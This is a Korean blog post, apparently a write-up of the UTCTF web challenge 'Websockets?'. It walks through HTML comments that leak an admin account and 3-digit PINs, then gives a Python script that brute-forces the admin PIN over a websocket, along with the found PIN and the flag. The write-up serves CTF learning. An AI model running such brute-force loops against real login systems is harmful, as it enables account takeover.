Websockets?

UTCTF Web 문제입니다.

 

Description :

Can you hack my website?

 

본인의 웹사이트를 해킹해 달라는 문제입니다.

 

문제 분석

웹 사이트를 해킹하는 문제인데 제목이 Webscokets 이여서 이 둘의 연관성을 생각하며 진행하겠습니다.

 

index page

최하단에 Employee login 기능을 제외하면 특별한 기능이 없는 page입니다.

해당 페이지의 코드부터 확인하였습니다.

 

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		
		<link rel="stylesheet" href="/static/style.css">
		<title>Fake Corp</title>
		
	</head>
	<body>
		
<div class="content backdrop">

			
<center>
	<h1 class=fancy>Fake Company</h1>
	<span class=fancy>We are dedicated to empowering our customers to 10x their development lifecycle synergies.</span>
	<span class=fancy>Want to learn about our solutions?</span>
	<!-- TODO: this button is set to the wrong URL and for some reason only the 'admin' account can change it. Tom is the only one who knows the passcode and he's out until Wednesday. I'm not paid enough to deal with this so it's just going to be broken for now. It's not like we get traffic anyway 😠 -->
	<a class="fancy button" href="/contact-us">Contact Us</a>
</center>

		</div>
		<div id="footer">
			
			<a href="/internal/login">Employee login</a>
			
		</div>
	</body>
</html>

주석으로 처리된 부분에 'admin' 계정 만이 해당 버튼을 활성화 할수 있습니다라며 admin 계정의 존재 여부에 대해 알려주고 있습니다.

 

employee login

직원 로그인 페이지입니다.

 

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		
		<link rel="stylesheet" href="/static/style.css">
		<title>Fake Corp</title>
		
	</head>
	<body>
		
		<div class="content">
		
			
<div class="topbox">
	<h1>Login</h1>
	<span class="error"></span>
	<form method="post">
		<input name="username" type="text" placeholder="Username" required> 
		<!-- what is this garbage, you ask? Well, most of our pins are now 16 digits, but we still have some old 3-digit pins left because tom is a moron and can't remember jack -->
		<input name="password" type="password" placeholder="PIN" required pattern="(\d{3}|\d{16})">
		<input type="submit">
	</form>
	<script src="/static/login.js"></script>
</div>

		</div>
		<div id="footer">
			
			<a href="/internal/login">Employee login</a>
			
		</div>
	</body>
</html>

employee login 페이지로 넘어와서 코드를 확인해 보았습니다.

Tom이 멍청해서 아직도 3자리 pin 코드를 사용한다고 알려줍니다.

 

이를 통해 브루트 포스 공격을 이용하여야 된다고 생각하였습니다.

※ 추후 문제를 풀다 알게되었는데 이때 주의할 점은 Username값과 Pin 값이 Webscokets을 통해 통신이 이루어진다는 점이었습니다.

 

 

문제 풀이

employee login

id는 admin으로 설정하고 bruteforce를 진행합니다.

 

from websocket import create_connection

for i in range(900, 1000):
	ws = create_connection("ws://web1.utctf.live:8651/internal/ws")

	print(ws.recv())
	ws.send("begin")
	ws.send("user admin")
	print(i)
	ws.send("pass "+str(i))
	print(ws.recv())

해당과정은 사전에 burp suite를 사용하여 websocket이 어떤내용을 수신하는지 확인하고 제작하였습니다.

 

 

brute force

curl에서 사용하여 접근하거나 획득한 PIN 907을 사용하여 로그인 하면 flag를 획득할 수 있습니다.

 

더보기

utflag{w3bsock3ts}

 

'Challenge > CTF' 카테고리의 다른 글

T3N4CIOUS CTF 2022  (0) 2022.03.26
[dvCTF] ICMP  (0) 2022.03.15
[dvCTF] CyberStreak v1.0  (0) 2022.03.14
[dvCTF] CyberStreak v2.0  (0) 2022.03.14
[dvCTF] RSA  (0) 2022.03.14

+ Recent posts